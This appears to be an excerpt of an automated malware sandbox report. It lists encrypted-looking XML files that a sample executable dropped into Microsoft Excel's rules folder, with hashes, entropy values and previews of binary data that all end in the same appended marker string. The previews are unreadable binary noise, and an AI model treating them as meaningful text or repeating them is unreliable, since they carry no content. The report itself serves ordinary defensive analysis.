Preview:	<?xml.......V..F..:.4/..\|.........Q!.--...1.)0.f.Y9..H..G.f.(..].\,U+.]...V..[.<...n; ...3{...p.=t.....R.8.....[...v3......zT.......T0?.+.\.U...+...o.Y...\|C[1.2..~2o..5.YUj;T.$.C!...Q^.,..p>..7.$3....wi.L.......0.. .y2.....~{.p.......e}./\...ZN..~....V..>.B..,.`.D...x..rAQ..#A..[#.K^....\|.`(I...@.X".g.& .....%p9.J......e......:.H.....d...x..v.....Rr.U..#F..!FQ7..0..C....r...N=?..8...Y... ...........L..;...Sp:I(D.._..X0..._..YT...8T.....4s.4.........}O..}...mTT.`.;q.M............\|$.......N^(.{..uK...n.z.U.F(.^t.2.`.."+...t...CX....-.V.+ s/.JN....%E..i.U..YT...n...0....72,5..i?)^Z...If.a..*...Y.....s=..{.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.786294676554968
Encrypted:	false
SSDEEP:	24:TaxVApFZKyNHVnR1HztS4QkG92G5ExD+pUNu0kmDyLeDhw1bD:eIpbxVnRlQ4QkG9C2UNuAWLe9yD
MD5:	8CA8C844F566ED2EC85648E897F793B7
SHA1:	ADD2173A4E8CD631B06A1EF18E8BC045BF2B7AEB
SHA-256:	1D68C423EEF366D0374824D66B9AD4221488B4FE08A1AD0C3C82BCF7F14F03E4
SHA-512:	14DD1D33D2D1E1679400A71E24C329B46DB172AFA4266A55CE3FA885366DD8041483F8AFEC8E2BACCE204035A5170E224248DA6F383537882C7C22D966EE7962
Malicious:	false
Preview:	<?xmlj-N..&..p..RV..G....W.F[`_@........\..P3[.d...oR./.O-.iG....F...}.A.o6.q..s...U6..l.....Z.. .)...zl...]" \|....:H....h)......6..:.-..o..7`=.....l.S.<\.....`.-..-1.%..H.dr.._......at).F...K.^h.l./..`..m.....{1..p..o.:._....T.Q.u..;7.Y.&'..._....I<_.aJ...#.[..o.K..WY..A.-@.....].5..SJZgM".,.,.F..>"..)M.F...$t........QMx"....,k..g/....q.(.........@}r\|-J..2+..~.....%.;g..F2.PS..eu..)R.y.9{..Q.yE~.K..L.C.@.>.~s.'..,..c.(.j..g.9...IEL.>...k.R7+........<...\Ro..l.4./.r...L..b....;..r..!...U..><I.g...i.("..9-..6.........8A....%.(...S.I#.A....4.6.=.^.rAB....}.\U....T.G-=y.k..K..y.,D..j.}..2n`...._.._..%...ZA..vT!.....)r...n.6..6.......uF........szo..Ob>......;Ow..4cN....G..B...M..\...~.a9........I3.B.........".L@}...MLX...u....3.j...g.6.$iEH....5.#..@RAEg..}...):.w...U...9u.a._...2..q.A.>q#.f.F].....T.............%..L.z^......0:[....<.....r[..%...[u6%.I.....T...m)....W....:.~L=3`..8......,...J8H.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.815982432235984
Encrypted:	false
SSDEEP:	24:bZ9c/mz3Vkw7Bf1rO7+8S33adK5ojcQGNCHGYE39ww1bD:bZ9cuzFv7nlag8/GyGYsKyD
MD5:	0C5CE1F98591F3A4127EF4F01CBC7F42
SHA1:	514C750D2C456BB7E632F5909E423508D61576AF
SHA-256:	96CA1D68CC6EBD56FFBA139AC8600E43BA4C64D34A520B15C9D271C93AAFCD86
SHA-512:	BB0162CDB9779995F027DBE056BF467C0C168C88FEDA9F8C408E4AA01D423A6E7C8AE3AA51317EE59F0F2619BDD1C0E6F483292E0B97FBEAEEF0C2208320537A
Malicious:	false
Preview:	<?xml..Q...,.;.....qk)....J#......]..,..9!s... .E.....n=...CB.C&..jpO....<.u4...F.vs..b.y.p.-q....j..M.D....b..Q.X^.....t..'Jq.....V.%...{ N.,.fAN.Zu=-...r.C.nP..hLq.u.........].w.1.&..5M...w...O.j......ZI?w!{...g8. KL...`.v...j.s!Tc..:......'.:T.6..v#..y..i.....Y..Q......w..$.Vd.{.u..\|.K..o..d.[..}..(q..C.W..q..aN.%6. .Qnn..._..........1..E.j.J.H..r..N$t../..-..)..X.T..Vf.!..}.~#3.3...iqa..............g...3H.8.h.8...Jh.$zqK.S.k^.]...:.@........L&c.....X[M<....S.<...b.J.(}S. G.O;.I.0d..y.".['JG.Q3L\...."GB)1N...m.Py.X@,y........ns..W....<...fxCW.....wzd...Rv....+...;z8@]...o._.r.Zf....&.....-....An.......P...`y..,5...7..&...CTa.)..:p.On..e.9.L.#.o..c..i.v.<..O...6.b....d...P~......U(.....)...c..5z...-$..)..[.e...e./...w.=aU<.B.3r9.Q...D..Q.H.O....blh...... ..0...N'........_.N.............cu.ED..a.4.X.f..*.;G.....}......F.Ij.....X.9....]...`T.['T'.x..p.....+I.ObJ.H...} ....4.R:.;]..t(...+.....5....A\|&.a......a..3u..I...D..g..ZZ).s_..."...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.850936475949666
Encrypted:	false
SSDEEP:	24:DzVABHMUKssFdSI9wz/jKxU8pbwjMj/CksoSUTpK0peGsrbMY+G27aOhkqGu06wl:DzVOHEj27R+FbTpA0peGiIG27afqGxPl
MD5:	605BE4D92EEE730AC1061FB46BCABE9F
SHA1:	990BC88DFED6D62580BEF7DAE502972EC3889505
SHA-256:	ACE8EA98E59D19D4AE6FC7E7AC5A10A1D604FEE27DFA17DA0BBCC3EEE894FA19
SHA-512:	9B7E25BD7A9175E75056817330249F5FA0341EB984E8706B4231695F85E5126B061129C587D9C8630500C30E70EE3C5F5CF548BAD07E0FBDF19F227BBC6BA69E
Malicious:	false
Preview:	<?xml..{.i.$..lg.L.dh.._..'.jF.&.+.."{z...Bi.&.>..=...`...H..>h0..>.. ....bj...I...hCR..D.Z.1.....R...D.........F?.U=..S._{.?.....Ag.+....\|..m.vY.F...:.....S<....<.....7..(.1-.nyd....7..V..r....Q....X9..._.!....LtE...6h.o.8.l\bW..^=...".X.Z6..\5A?1."O0JF...\,......n-.8..^..b8oLpd.j....y.l.FZj.K.S..'w....".i.}\|[..[.......B..:.7..V.l(.j.Z>.........b/,..3.....i....Z>...>.....&E.L....].D}..r.`...BH..L......Z..x$.%.g....b...e_7....}...o.i.]"....'....1bN.2.!X7V..y.t `<...hE.....J..5`.I..^..x...!..y.......f...."l...y...~.-...amO.>..Y...A....J#....c...LU....6.3.}Q..!.e5N..}7.d.....{...N1...5D.K.yg<(.ZJ.(}?..jI...a.....E..{8........m^..p..............q.....^a..5Fr..p.......w........_..{.,...c......7.........#.....W.4.d.wBb"...k..+......U.\|......W.~:.c..p.B?.'.......b.I.ts..s&....?)4.I..t...(2d..i..g%.7.....b.b.CKPGx...).r.....p{.W{..^.&vI...+...sa.....kr....8].&+....%1Nj.M.?_.V.}o..D....*-........^.V,...'....w.c.![...3@.g.....E..i.G<F.N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.794041741541906
Encrypted:	false
SSDEEP:	24:0sj84kAFUUbHUyeoSaQi+RVuA3nqTjaL1u81p4cuTw1bD:ZvkA7ji5u0AyD
MD5:	451EDFA15A2A6B4486DDC614C39F5123
SHA1:	28395FBDF7C9C014C97C46CE10691CCFDE2845D2
SHA-256:	6168E98BB89FE4E5226E40FD2B5EA16179351D9BEA7BBD55ACF34032060EE548
SHA-512:	1AE4328549275336213B571AB73F87AD39CCE725E76DD7DA2F3F9BD99FD49867F6CE58E1AC7BFF45D69B7AC98CDA859144AB4D7812321FD09813BA8ACD93FAC4
Malicious:	false
Preview:	<?xml..[1..j8....`SoP2J,.'j.......`O...gs#..:.......R...FC..Dz ......spJ.......I.....~.....w. ..MQ....R.q4C..=...5p.T-....... ..&....;)........s3..Q..7.^#..!....f..&....#....s..c8.x...$Y~Z..y..K_\....{.........T.o.:}7......5.t<.p.......zl.C..\|3..#.\.@...B..n.#.\|e.F8B(.....lg....S....O.....u;...QA...-t)...pl.........=fW._.....w.?.....D@_.....]..(6n...$.& `...!.]Jm.....u.T...[v.."c.u..Q..{]cQgb..g..B.......JU.`.6..$_.Q...J..o.....]@..RK......Wt0.I.y.UVz..%.+bvS....`[C.C#.......'.d..F"<Q..{..f6N.....s....T.=...]23.. .....\........V...MU0....O..}.y..8.>.IS}....s.}F>.....fy...0.^T'.T...m.......;.k, ......X2.Nb./.JI....3..R.,..}...nn\....;.....B.`_.Q.O..!.H.U7s_"...^....XT.......'. .S........D.=m...R.....#.}}].6&GY....:. .\|#...?..b....!."....E...[..B.$3.#.......\R..XA9.W...K..<%&."..Z..z5K...........R..So.3..E..6...$..6.7elb:..<..e.;\|G....<-N>.S;.8E......! Kq0..........\c ...t!<.O..l..f....n.\|C..+TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170039v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.745616170818158
Encrypted:	false
SSDEEP:	24:IgebOVyXhQvCZ0C7S8DzlxEvz5onpnYZ46w1bD:I9bOAiClJW9opnqbyD
MD5:	C67C29217A3DE629E245312F2CFA181A
SHA1:	C7903D361B6F47FA7D631FA9E5E19DC2464413AA
SHA-256:	1C837D851B33157B9A260D1F61466191F9C8D5C6860A77258B0A7CD1477F92A5
SHA-512:	F37B8C2BB52F5541142894786847D1E4ED3E69F484F1F28A3E3AFC566624BDF51BC86E1213235606B5214168828EBCBD4F4DCFE8105C6638234DB4A5C31B7454
Malicious:	false
Preview:	<?xml....S#.....?....e........@....<.F/...... ...K.nd..d..??Z...5.O..J..U.q2.d.=$....C.$Y.a..a/.T...S.(.2...... ...dN."..&...\......(...1"qv...>~.{....$`.]>67......./.2s..&...P.O.....F..v..+.........[X.>..$....J.'hXXi.Gv"..M.Y..)J.k.TD..%..MT.[]..h.k.fC.v..[k...&.p.x.9.B...x..g.1._!&.9nV...uZ.{k)...%.I.?m.a..#.4.8....4.P3..\@hBO..S...;...o.....t.;.../...XXD.r;........I.uH.{..=..#..OjW'.....2:..eY.wY.`.-...!dR.J.V.M.~...E...T^.e.V...'.......{..C...G.p. _#.!.1<..P....D4..(....2^......J..u...r...n......18.j.$.$..].?.xs.....h..\0..}x._#.._.Z..tXl,..H.. k%.@.i.M`......H.....dfv..egmM.@Z.nc...afx..\|xh[..xt.F..yC.5S.z......f....y..V<9.G..C.3..R....]5.......'..N......7.D7..~..9.#....}...~..{.x.^.VhQ.....g9N...!.g.m.....3&...3M'0+...D.mX..k......~...M;...1.(...?Mn$ZX...=.9..D4.O0'.`I.i......'..S...<R.].TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170040v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.6829110038490755
Encrypted:	false
SSDEEP:	12:UlriSVfrEviVhmaH6G/Y4kPLJwUmwSx2NDJZ4miWoslCt0Zoqw1cii9a:IigwY6rfRmqDXqNFAw1bD
MD5:	80AA814F1CAA398300326778135F784D
SHA1:	DE870F382EDFF94C46AED125012AEE81127BACD7
SHA-256:	54289511052C4E4CEB01F9C2EC76844CC0EA9C5129CCA54E2562D9CC1D2AE5F7
SHA-512:	DE0EE21E8BBBA6C2C8E5278439B203F7D78D60DFFB3E4E740F71DD521747B8B75BE8C967137426DD284B884C8CDA1D1A08C026F787A680FF89CA867299EC8796
Malicious:	false
Preview:	<?xmli..."1B..Q/.1wf.....vU........@c._..m...,...U ..)..E..d...&m.....Q.}.W.....`.;..&./y.f...,....HE8.z.:.V.>..m.Z{.0..x]:....S\3.e.4p.V....It4..:,l.9.>X.>'.~b.pd5...\|.t..qo!....e...AL\|P...TFY....F...a.}.(Z<.r.S6N.Cn0.=..R......:.`.M.....;..p.....'.-.Y{.....j.}.z......<.W.$.....bb.......y...5..R..[,........F........,.r...HF.R...(6...'5...ch.Z.`z^...?..'0RJJ....../...e...r...yv/../..V....nI0B.a......V..!@>^..X........o.!....^=/6v.....1.y..W.Tvn..._.....g.}l..u.3\|X..g.......R.H....}!..>.'..6.ux.C...W..Y..p._.STZ......Sh}..Ox....8..WW...`1R.e...-...t.0.].M1....<.T.M..q...o.9.[...)Dv7..c..G..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170041v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	7.800388997454653
Encrypted:	false
SSDEEP:	24:GCU12+wGq/GJ6JImTyykxbXPmO7t3uvwf1SQJnzaorpHOARR8w1bD:1U73qeJ6ymTozPmgWwf1SQjHOAcyD
MD5:	FC7FB0E775489994A2BB5237CF9562A8
SHA1:	97217826F93ACBA4001DD83C4D9F9EE94D734B16
SHA-256:	99C13091CF66AB0EAAD90C57EA5590053894D07BAFF57B5A5DF491111F3CD0F7
SHA-512:	9E6CEF15E63EA10EC70A89C106BB4A0D9FF774B96BEEF6E6EF41628F70B4D9A38990E0F99F9A8C14457F7FFC240FBA110DCFEB2F6AC56791A31BB42C93E843D3
Malicious:	false
Preview:	<?xml..5g..~h..Gm..g.....sC.O...p...m...{.K..$$U%.U.0.k\E...iL$.L....J..[....Z5.0....~"..Ca..%I.q.c.G..pK.\.6..N..s. .....&w2?8mj...Qy..M.M.7_:.Sqb..u^.{.3........vmp^.+Q.KA.\|.H.^.&......~..7!..^.0.T.Uj.o.5.$.n.@<<...j.....(........zg!.@.=o..d!8....iC<..8..I...aW..9..\..'....h!m...).~.,rI..j....<.(T.0.A\|JtT8.k@.2&...t..pok./j4R...'..>O@.....<A.d........T1.G.F.S.pk.W.S..3lDn)..rtqX.?..zM.7E..K5G...%.w.z.....i.M....=.../m...G.Mz......d.Q........r=aC._6....=.l"..I8.Lc...A../."@....u.r....t.........s;....,.VfS........{._.o.u.Q0Lb..Q..Z.$..5....T.i.>..B.=O.z...1i..ZO.....}...o@.1.....I....d.}....#..H.uO....wF.D..xv.'..!O.....h.Q..dV`....3..F.D..M.j^..$..~.P.P.m.....L.=.....}p.c...".....5....?.....?k.....g..j<[Z<C..w..X.'".e.X....z.I..6....:...).....%..J.0......Ev.M.my6..6..T...*....a.........T..\.Q..^.....b....Cn."G5.'.",kDY...w.....NiI.`.p../.1...h.B.....0......kCnZ~v.A..e&;..... !S.5.\|../.....!......f....E...}..I ....n..BpnO...>.bE...2...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170042v4.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.802989352645183
Encrypted:	false
SSDEEP:	24:Cd3YHeXPY+AWUJacDDNhQamMpFuw37Ol9beLbR5w1bD:Ca+/KpJtNqfE0C7Ol9b0bR5yD
MD5:	07BB52F3252827565194A0140040BB41
SHA1:	58AD055D6A691987CFDB3408CE14F26DBF9EA6F3
SHA-256:	AF42FEDDE6156DBCA599BE7937AB76CD514EF383340B5265073C4F98EB4D8ADA
SHA-512:	5012633CB9CF081EF6C5ED8D0A8503BC9CF2B35827CCC7E635504800550671602D739A8EB571A502B2290AB6B70D71509B23CC1DB63A3F87EA34CD85674C5368
Malicious:	false
Preview:	<?xmlK...\.W../.>......S.^/q.]4<u.._.?..N... ..c.h:3en.....G\...\Q.7[h.........I....X....PB.3K.8.....<..\|....Wo\|9-..U.T.u9.7.\|.sO....\..._f.e.....t...\|gg..:=.w<.gl..w.;....A~.......D...\|0p..Uh....y.e..>...[...e7...,..:.@..+.....xD.\sk....D..(.L.."...4....W.?kH. ..\..1..o.3M.,0..LFD.n.....4.@F.%!.a...../.1.z.)A...'...+..fK.~.EO..!Q^..:....9...#.h."O.B?...p.c.%..............J.... ^+...l[.K%..^..9....9........z8..n.....Z2....BL.O..#]u.O...0..l.R.T..e...R Cx0~P..[;.0.}..gG.uh......K..."U.......c ........B..w)}.....!s.........z......gi../..+.X..}.UCU..<f.A..p.ZE.uz!\..h._..._r.y+...t..&.i..<w.....&.....S?7......`..iePwg.Es..o. ...T;.k.&G....q.X.u.m..$..5w....&.uNI(VX......v.Z...3h.3.j.d....I.Y+K.Az...r...)*R..@..~a.'.F..R.....sF&A...pK.J.............+.OE..qG....^i.Q......^..(......aE....!...[!.....G..sF.o..5.).uV.........L.....Hr(.P.Y!...P.....T..3...A....o....Sq.>.....3..J.rTIH-.B.g..m!~z.y..f\.r...?...<xwTkVHfCIIwaAyDJuFpBEgzIZgY7IXD

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170043v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.706520048465499
Encrypted:	false
SSDEEP:	12:Ws8xQxvoeqjmvfDXxo8DaPZfE39MHVEpPzpxBcqxWyRz9++FFsnyJO3Z2woqw1cq:iQxvoYYh7H0P3BDx57syFww1bD
MD5:	4F9C4C767CE47821597AF515540B5382
SHA1:	38C52C5AB2CA97707E5AE130AC50155B834BBC8D
SHA-256:	3483BA021DCE77BBC56CF0E83491297D9BBAF1C20B89E0C8F9C7C668C05F7902
SHA-512:	72903CE3517F936ECF9EA3708917181F48EC726AA752788E8FEC44EC7A26E0845DFA56198FFF280B497C0DF05900EE7C366D33163BDCF4D29E2A37ECB00FA6E6
Malicious:	false
Preview:	<?xml>:a.h:..?.,.-.9..Sm"..a......Z.:z....~y..r...6..4.Zk&.2.;.\..1.AW.f.\lz.......4...-....3....l...n.<....gi..u%...@b...;...>..... `....r..y.y;..?.P[._.U..P.`.{......XC.J./[.. ..&A.4......i.....V..Fd....Q...?..V.$...+k...a.K&...\2...P.w..Bi..J.[...J5<..Z]8q........TW.I....w$.....1H.L...8Og....W...&........=.o.P)...X.c..m..D...H,..I..2..k..tI_....xU...i.'..<..........r.o..Z+.x.A.Qv.....z!M....n...b..ao............z..2.............&../b.4H.T.Q.7o.ry-6....0;...4ej..#.w...X....~..%.../...j.?.s........ .j.#..;...O...-...J.F..$.8x...0j(.B9...X;L.@:...k.d.....$z".:...........M5".z..}..M....^...t.7O....`.Wv...OC..W...j\.0..TZ............}=.....F0 ..B.@#D.7[....N.75t...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170044v4.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	853
Entropy (8bit):	7.764769812451863
Encrypted:	false
SSDEEP:	24:zYzqhzC446+2ohPj+G/ShqRLjD1hv3bineuhsJw1bD:8zWn46+241/Scv3bTNJyD
MD5:	37564026745B236BC4806F26C4002136
SHA1:	D14B8587F2371A8A172E8545FB54C0780C38C0E7
SHA-256:	9E95644B093A7A1D57533E65C546D5D6879B9014C99358128AE794829FD8A055
SHA-512:	1B660A269215F606933FCBD32664377CB8748480E44C680EC32AD17CBD9AE639D2398A7875BC6B04AE5AD4EA59987CF329FD66C2EF846DF2C8EF50493C348EE7
Malicious:	false
Preview:	<?xml.b.8..vw.\\|.mU.....Tl..\.O.FFcp........:..).....8%...{.\q#T}....&I..4...0R.H..).32!.3.o.q..GGg.V.XUZC.<..W......;....x.....B.S...x.cd....kJ......G..o..zy.....pN..Y.H.'$...a8..U......z5..D.Z..T....2..+e..P..#......k..{B....?r.a\|#C..#...r......~.0t...."v.S+Op.C....K..u....5...K.-.a;......xg..z..hu.....1?.. Zi.cI..Nd~S...{..uf.uH....q@.7..wC'...~...`n....^d..-......c..%..T.Q.....2v.N...%..m.a.c...&@.v..../}_W:.<....N..4/%.F.1..K8}...d.<%.D......N.,.]../.&..q;e....Gr.o4....xZ.x.......d.L...m@..w.7.r.T...U.v}8..b...f.......]..~....E.-....t.,3o......bp..&.},.d..........^3.=4...-`...'{..L....+.yZ.6.T..z..R....3.OL..V.Q....$G.'}...k.v+U-:..YV.......h...(..W...-...f\..w.`...!V ..B.....I...].V.8...,.z6b..<......q+:......0.)..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170048v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	7.783039802110176
Encrypted:	false
SSDEEP:	24:h+rKzBmcOqO6Hh9cFo+7ZOdlkwLFxSuKTgew1bD:h+rKBmcOqOsh9cTIlkODfYVyD
MD5:	9BCCE7B6F7F83E07CC7E9DDE8188E697
SHA1:	6545030A4C639953EE7F15D027F471DC8D480262
SHA-256:	C28AD6E2C712C7F6B48E6E0DDA5B5305F1C8D4DDDB4C36EFCEA39B576C681C59
SHA-512:	10EA54D095BE3D8C7F880257AF5433B48CCD0E46CE6E42DA6502D71915C10C4751D2369FACB3C91CBC2B07BC6EDB1CFB35E1106A4DB5A24F05225D11054F6AF8
Malicious:	false
Preview:	<?xml....G...}...lsT(........VM..k.....8.......-....A.4.......JEK..n..d..w6.`&.A..y.._....co.......B-'.......2......!.:..T.(.^+g....?t...I.h......2p. .........L..A.2.K....2\|..~...oAe.eh.. ..E.Y..;@.....Z.."..}{B....[%zy....].....$..n...m[P..4....Lua@.\N.c\|.c..X...XZ..A....?j....."{....5%X.I8_.V.]......,....E.).Wr`..W4.o.......E..aB..^...\|.H/.......z..D..z.a..l....cf.{..u..................S9X....{.Fb9...4..)t.X........l.m....w.V...Y2.I...Bs.v....]0...0JDI.2GR.<..mI...J9..~..Y.'.<........$V..dKq9.2.. &=w..3..Ix.m..v.W..kO.N....l.8v.W.iFh78.\u.2..0....N..<..`$.X^..WG.k...8f].#....q...Y.r.........r..\|5.x}`!B..`.$.:..lW3...@@.!.8...........>........6..){......bX......[c?.^..].\|...j.oP.1($C..p,......U.Vl....7.<....}.w.%.8Zv.}..L.........Z...q.dS~b.e.8.Ua..g>..K...3N.s...'K.D..:_TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170050v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3310
Entropy (8bit):	7.953062802800467
Encrypted:	false
SSDEEP:	96:RzP07oYhnorZcpbCs7ArnThD3UenLpfAy/9zZa:RzMoIorZcpxArThD3UeFAy9M
MD5:	D3A77106B1D40B78896104121BF04E43
SHA1:	844321163988BF2A938B5D801966CFA4EC6A98E6
SHA-256:	D904143B3109A1D8AB8F5AB2C1C3F7B8B52D5BDC5187A87ED6BB8F666E95D1E7
SHA-512:	5465537DDAD488E79A6A047E8C61735506052DAED5C67FCD3B100033AAF3DE3FA25B4E4A259F75CCF3980FF7A52B7DDD000718A55CD9FCBF8402C09B332F047A
Malicious:	false
Preview:	<?xml5-.cK.....~..R9....k`Z..p?...V$%........c......,EY.lh.../E07..?..\|v...[...t1myI...Z.._....0.(..G..:...Mm...s.I.c.L.\|...B4..5..`#.R;.=....\|KZ.M,V0.-qG.nl.Zg/.....(.G...-.0..8...G..). ......I.Q...KS.KO...]T@..m.....&]'..6RZ...2.%=0.#..&X.....7.F./...Y....x...`...W...#."....m..L../g.\.:.R..OO.I..P....-KT..7....m.."..,RH....v\|.$..."<.+..._Xj,.....72.w.bZ..`...`./..U....C5.H..=5<%....._........w ..h.3..g.T$1...U.XG.e.,.&..!E[..p=..?......WYP...\|z..........p..Q.....m....!.}..._0.........R[jrt.L.H........^...qH....lW;.L&ZP...{]..1.#%..&).;s_.q#.g7..O~MVox.=....W..~.....=...3...."..tB.<b...;....lu..5.?..C2;...@.........?.q......8.N..].-S..S.IR..5Y...3..s...j./..}.7.m....^IT.'.......!..>.'i".o.w..a.)........k......\|.$.-{..@.,J..p99K..(..5.....,..JR.OBD..g...nC.........,^...i\.$....Su...l.......&.w.[.H..........R.......T...Y8....].......x.:f...>1].i...Y.uh.7....t....U...OUjV.......%.....>.7.._.....8.jOo...a..[."!n.@.......r4..oM~.&.T.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170051v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	910
Entropy (8bit):	7.780714907392455
Encrypted:	false
SSDEEP:	24:wSfpZ9dwM2X/JFhuziwX245HRGjminvnxclNw1bD:wSr9dwfX/JFHwm8HaCTyD
MD5:	B6DC4A8147C5564F1D7DC3560183CDFF
SHA1:	C9C8B7F29CEA182B205C109D8CE3D451730427BD
SHA-256:	50B013D27DB835DA7A53737C9BA7EA500D2E94E16AE3D89DEC6212580D3E8843
SHA-512:	676DD2503C3BF57BC67BC63F7A8BEF498474F0CF759E734931BCA7348BD41DF3936C3DA4203E0F7F302CC17B9E19EAC7479D8DE0D2D6C75DD68AA4F091E64C2D
Malicious:	false
Preview:	<?xmlM...c.8M..9....!....q..>e2..+j...F$.]>I`.L.f].p.b.9).t...u..r,...tQ.oU........{.(J.@O7..[..g..%d.T.C..Kx..G....cY>.\c7c"R....]....Q!.Y.O5[rJ..,...KJzo..3R,y.J..K_Cq5...H.h..zr.g....-.aMxA+l.I..{.".h.l..W..X...>-K8.n.T.^=C....:..Y.k.7.o;..j..s`...R.S.n.....A.vQN.l.....T..`)A5...D.)................z.+O.....Nq............1x...)`?...M`......i.(...!..d.b...$Oo......j.k....e.h.E...x..0..b0.a...u..`b...8.)...{....2...fOS...7.W......" ..Mvn__.!yg6..%....f8?.....:....&.`....._.^......A.....,./.LE.W&....J......1...<.x.\..>b{.]...%.M."<..s.]..C*.............q..Uz..y...[.S.>...)f?5E.7M..F.W.:....p.GI).P.<h..P..{..le.S...?......N..b%.G......i....,.......z.Y...b-..e..KVE.e.z....Y}..Dg..d\^..B.G_.......o....w...r..>.6.^Dp...9.f..?..U.'..u;.... ..3..6._GUE~U4.l.2.;...A..lr.L.cGlp.,...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170052v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.7628597336377885
Encrypted:	false
SSDEEP:	24:8xRPaaQDMp+AZLUZJR2R3RxsDVVA9B6fbqzrw1bD:8x57QO+AZLHBKp+90bqzryD
MD5:	76486C90B8428CA023C0F020D18EE45D
SHA1:	F3ADAC715A5AF604218547A839EF5516CA6471D2
SHA-256:	8E3D0007E7C1A1EDA399FD4E66791ABE885A3F52279BD984989F22EB6B107E4C
SHA-512:	C2E91C30ED4529C1448CDDCD8293A457187A6594C1B05B99F3D9B6346D3D5201EA96FF2342014F9ABFCA2B80AE833B919B8EA3A208EC236727A51743F21FFD9E
Malicious:	false
Preview:	<?xml....K.L......4.!4.\. ...G2....%.U..9`oK..T>X.RM/_........V.-`..r.C..I........z...r.......U...L=....Y...e.....x.....#...=".P.K$N@W.yEC..!.y....3.y.Tn...G.m....C.u?..vrtq.e.l.@.Z._.......H......5.N.S...T.%p8.........N..M[./-Y...+...iC.w...8...A.....q.......K.7T..6.s...M.S'5z[_<j.q.+.....!........"`..w.j.`Z.........1).H...L.+"..>.N...5......:.aa..!X..^.;]Th!....oUWz.A...S...f#...O-<v@..`l>.4B.$`u.{..B6.k5F..j....8s..Cw.......$..%...(........\.H.i.".yd...A....y.6...C.....?...RzJ....,bT.t...G.k_)....*....r'..K.2\|...y.K...=.Q.dC.....I.8.b.6.yS^...].U%.....\...V..U<.!.F..Z..<\8....G..N.=...ZT.et.n.>s....t(.,..x..C...H.7".}...$t....bs.........<)ts...`....n&e.....p@E\|4`.2.w...D.e..-....u..?....T....SH.Wf.r~`Ji.9..D1.th:.......@c{\d_.@L-...F..+.t.H......&....Z.N....D8I.}.k...A.....{.3:C.: .......m....5.TD.J.[r...Xi....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170053v1.xml

Download File

